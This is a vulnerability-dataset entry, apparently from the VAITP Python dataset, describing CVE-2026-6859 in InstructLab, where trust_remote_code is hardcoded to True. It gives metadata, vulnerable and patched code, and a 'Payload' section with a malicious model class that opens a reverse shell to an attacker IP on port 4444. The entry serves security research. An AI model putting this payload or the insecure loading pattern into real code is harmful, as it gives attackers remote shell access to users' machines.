CVE-2026-6859
InstructLab: Hardcoded trust_remote_code allows RCE via malicious models.
- CVSS 8.8
- CWE-829
- Input Validation and Sanitization
- Remote
A flaw was found in InstructLab. The `linux_train.py` script hardcodes `trust_remote_code=True` when loading models from HuggingFace. This allows a remote attacker to achieve arbitrary Python code execution by convincing a user to run `ilab train/download/generate` with a specially crafted malicious model from the HuggingFace Hub. This vulnerability can lead to complete system compromise.
- CWE
- CWE-829
- CVSS base score
- 8.8
- Published
- 2026-04-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Assignment
- Category
- Input Validation and Sanitization
- Subcategory
- Security Misconfigurations
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- InstructLab
- Fixed by upgrading
- Yes
Solution
Upgrade to instructlab version 0.7.1 or later.
Vulnerable code sample
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer
def download_and_load_model(model_path: str):
"""
Downloads a model and tokenizer from the HuggingFace Hub.
"""
tokenizer = AutoTokenizer.from_pretrained(
model_path,
trust_remote_code=True,
)
model = AutoModelForCausalLM.from_pretrained(
model_path,
torch_dtype=torch.bfloat16,
trust_remote_code=True,
)
return model, tokenizerPatched code sample
import argparse
from transformers import AutoModelForCausalLM
def load_model_securely():
"""
Demonstrates the fix for a vulnerability where `trust_remote_code` was
hardcoded to True.
The fix involves making `trust_remote_code` a user-configurable command-line
argument that defaults to False, ensuring users must explicitly opt-in
to the dangerous behavior.
"""
parser = argparse.ArgumentParser(
description="Securely load a model from HuggingFace Hub."
)
parser.add_argument(
"--model-name",
type=str,
required=True,
help="The repository ID of the model on HuggingFace Hub (e.g., 'gpt2').",
)
# THE FIX: Add a command-line flag that defaults to False.
# The vulnerability existed because the value was previously hardcoded to True.
parser.add_argument(
"--trust-remote-code",
action="store_true", # Makes the default value False
help="If provided, trust remote code found in the model. (UNSAFE)",
)
args = parser.parse_args()
print(f"Attempting to load model: {args.model_name}")
print(f"Configuration: trust_remote_code={args.trust_remote_code}")
try:
# VULNERABLE (old) code would have looked like this:
# model = AutoModelForCausalLM.from_pretrained(
# args.model_name,
# trust_remote_code=True # <-- Hardcoded True is the vulnerability
# )
# FIXED code uses the user-provided flag, which is False by default.
model = AutoModelForCausalLM.from_pretrained(
args.model_name,
trust_remote_code=args.trust_remote_code,
)
print("Model loading function executed successfully.")
except Exception as e:
print(f"Model loading failed. This is expected if the model is malicious or does not exist.")
print(f"Error: {e}")
if __name__ == "__main__":
# To run safely (default behavior):
# python <filename>.py --model-name="gpt2"
#
# To run with the potentially insecure option (requires explicit user action):
# python <filename>.py --model-name="some/malicious-model" --trust-remote-code
load_model_securely()Payload
import torch
from transformers import PreTrainedModel
import os
import socket
import subprocess
class MaliciousModel(PreTrainedModel):
def __init__(self, config, **kwargs):
super().__init__(config)
try:
RHOST = '10.10.10.10' # Attacker's IP address
RPORT = 4444 # Attacker's listening port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(['/bin/bash', '-i'])
except Exception:
pass # Fail silently
self.dummy_layer = torch.nn.Linear(1, 1)
def forward(self, *args, **kwargs):
return None
Cite this entry
@misc{vaitp:cve20266859,
title = {{InstructLab: Hardcoded trust_remote_code allows RCE via malicious models.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-6859},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-6859/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
